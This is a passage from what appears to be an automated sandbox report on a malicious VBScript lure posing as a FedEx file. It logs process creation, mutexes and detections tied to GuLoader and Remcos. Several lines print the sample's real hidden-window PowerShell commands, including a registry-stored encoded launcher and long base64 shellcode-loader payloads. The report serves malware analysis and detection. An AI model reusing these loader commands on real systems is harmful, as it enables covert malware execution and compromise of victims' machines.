gAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4Aa
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess created: C:\Program Files\internet explorer\iexplore.exe c:\program files\internet explorer\iexplore.exe
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\yy0zjl34.cmdline
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESADA2.tmp" "c:\Users\user\AppData\Local\Temp\CSCB8D22C72555343A48341CA7311A8A12.TMP"
            Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20220121Jump to behavior
            Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Temp\Grund.datJump to behavior
            Source: classification engineClassification label: mal100.troj.spyw.evad.winVBS@28/33@4/2
            Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_01
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4020:120:WilError_01
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutant created: \Sessions\1\BaseNamedObjects\Remcos_Mutex_Inj
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMutant created: \Sessions\1\BaseNamedObjects\Remcos-IXYB2Q
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3120:120:WilError_01
            Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs"
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
            Source: Binary string: ieinstal.pdbGCTL source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: ieinstal.pdb source: ieinstal.exe, 00000014.00000003.629851436.000000001EC11000.00000004.00000001.sdmp
            Source: Binary string: Microsoft.PowerShell.Commands.Managementt.pdb| source: powershell.exe, 0000001D.00000002.888436421.0000000007768000.00000004.00000001.sdmp

            Data Obfuscation

            barindex
            VBScript performs obfuscated calls to suspicious functions
            Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: ShellExecute("C:\Windows\SysWOW64\WindowsPowerShell\v", " -EncodedCommand "IwBhAGcAcgB5ACAAUwBjA", "", "", "0")
            Yara detected GuLoader
            Source: Yara matchFile source: 0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000000.585462965.0000000000EF0000.00000040.00000001.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001C.00000002.900361754.00000000090B0000.00000040.00000010.sdmp, type: MEMORY
            Suspicious powershell command line found
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsAC
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAa